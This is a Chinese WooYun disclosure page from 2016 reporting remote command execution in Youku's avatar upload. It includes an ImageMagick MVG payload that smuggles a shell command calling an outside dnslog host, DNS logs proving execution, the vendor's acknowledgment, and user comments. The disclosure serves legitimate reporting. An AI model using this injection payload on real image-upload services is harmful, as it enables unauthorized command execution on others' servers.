当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0205389

漏洞标题：优酷主站存在远程命令执行漏洞

相关厂商：优酷

漏洞作者： 猪猪侠

提交时间：2016-05-05 17:49

修复时间：2016-06-19 18:30

公开时间：2016-06-19 18:30

漏洞类型：命令执行

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-05-05： 细节已通知厂商并且等待厂商处理中
2016-05-05： 厂商已经确认，细节仅向厂商公开
2016-05-15： 细节向核心白帽子及相关领域专家公开
2016-05-25： 细节向普通白帽子公开
2016-06-04： 细节向实习白帽子公开
2016-06-19： 细节向公众公开

简要描述：

优酷主站存在远程命令执行漏洞

详细说明：

#1 漏洞位置
个人头像上传
http://i.youku.com/u/setting/base_avatar.html

youku.png


#2 payload

push graphic-context 
viewbox 0 0 640 480 
fill 'url(https://"|ping img.99fd5e.dnslog.info -c 1")'
pop graphic-context

漏洞证明：

05-May-2016 17:45:15.425 queries: client 220.181.185.161#40524 (img.99fd5e.dnslog.info): query: img.99fd5e.dnslog.info IN A - (128.199.200.236)
05-May-2016 17:46:33.153 queries: client 220.181.185.161#47453 (img.99fd5e.dnslog.info): query: img.99fd5e.dnslog.info IN A -ED (128.199.200.236)

修复方案：

更新

版权声明：转载请注明来源 猪猪侠@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2016-05-05 18:25

厂商回复：

感谢猪猪侠报告！漏洞修复中！

最新状态：

暂无

漏洞评价：

评价

  1. 2016-05-05 17:51 | Drizzle.Risk ( 普通白帽子 | Rank:265 漏洞数:20 | 放下屠刀，立地成蛤)

    也是？

  2. 2016-05-05 17:52 | 浩天 认证白帽子 ( 普通白帽子 | Rank:925 漏洞数:80 | 哈！躁起来！)

    艹，我试的时候居然没试出来

  3. 2016-05-05 17:52 | Hackshy ( 实习白帽子 | Rank:88 漏洞数:30 | XXXXXXXXXXXX)

    ......猪哥，

  4. 2016-05-05 17:53 | px1624 ( 普通白帽子 | Rank:1151 漏洞数:207 | px1624)

    。。。这节奏 都开始刷起来了么

  5. 2016-05-05 17:53 | JJ碎大石 ( 路人 | Rank:10 漏洞数:3 | ……白天抢银行，晚上做牛郎，至今买不起房...)

    狂刷~~~~

  6. 2016-05-05 17:56 | scanf ( 核心白帽子 | Rank:1672 漏洞数:236 | 。)

    艹，我试的时候居然没试出来

  7. 2016-05-05 18:00 | sanwenkit ( 普通白帽子 | Rank:134 漏洞数:25 | 半吊子攻城师、开发狗)

    orz

  8. 2016-05-05 18:02 | 默之 ( 普通白帽子 | Rank:1615 漏洞数:254 | 沉淀。)

    wordpress?

  9. 2016-05-05 18:26 | Yuku ( 实习白帽子 | Rank:58 漏洞数:27 | 数据挖掘)

    挖槽

  10. 2016-05-05 18:26 | niliu 认证白帽子 ( 核心白帽子 | Rank:1784 漏洞数:235 | 逆流而上)

    艹，我试的时候居然没试出来

  11. 2016-05-05 18:34 | jackyu ( 路人 | Rank:24 漏洞数:16 | 世界上没有一个系统是绝对安全的，系统最大...)

    有没有搞到优酷服务器

  12. 2016-05-05 18:41 | 浩天 认证白帽子 ( 普通白帽子 | Rank:925 漏洞数:80 | 哈！躁起来！)

    @niliu 我没试出来情有可原，你咋回事

  13. 2016-05-05 18:57 | adminss ( 路人 | Rank:14 漏洞数:8 | 我有一个梦想，就是自己的账号乌云有20个漏...)

    这是要狂刷一波吗

  14. 2016-05-05 18:58 | 川zi ( 路人 | Rank:0 漏洞数:1 | A coder, hacker.focus on Linux, Android.)

    大神啊。

  15. 2016-05-05 19:14 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1413 漏洞数:148 | 发扬海绵宝宝的精神!你不是海绵宝宝,你怎...)

    难道是st2?

  16. 2016-05-05 19:15 | 大师兄 ( 实习白帽子 | Rank:31 漏洞数:8 | 每日必关注乌云)

    主站，我擦

  17. 2016-05-05 20:04 | Faith4444 ( 路人 | Rank:26 漏洞数:10 | 说出来可能你不信，我就是个垃圾)

    主站，我擦

  18. 2016-05-05 20:31 | 淡蓝色の忧伤 ( 普通白帽子 | Rank:268 漏洞数:38 | 找个实习，有人要吗？)

    ImageMagick ？

  19. 2016-05-05 21:09 | 岛云首席鉴黄师 ( 普通白帽子 | Rank:488 漏洞数:129 | icisaw.cn 超低价虚拟主机VPS 购买返现 支...)

    ImageMagick？

  20. 2016-05-05 22:01 | vforbox ( 路人 | Rank:2 漏洞数:3 | 我这么努力, 就是为了实现梦想)

    ImageMagick？

  21. 2016-05-05 22:13 | D＆G ( 普通白帽子 | Rank:780 漏洞数:158 | going)

    没测出来啊

  22. 2016-05-05 23:49 | Mark0smith ( 普通白帽子 | Rank:176 漏洞数:71 )

    66666

  23. 2016-05-06 04:37 | dr.m1st3r ( 实习白帽子 | Rank:54 漏洞数:10 | 一个爱泡妞的好骚年。)

    是啊就是imagemagick都被玩坏了。。

  24. 2016-05-06 10:22 | waking-云狐 ( 实习白帽子 | Rank:34 漏洞数:5 | WAKINGTEAM 深圳智可网络科技有限公司)

    ImageMagick？

  25. 2016-06-16 09:23 | BeenQuiver ( 普通白帽子 | Rank:103 漏洞数:27 | 专注而高效，坚持好的习惯千万不要放弃)

    horrible!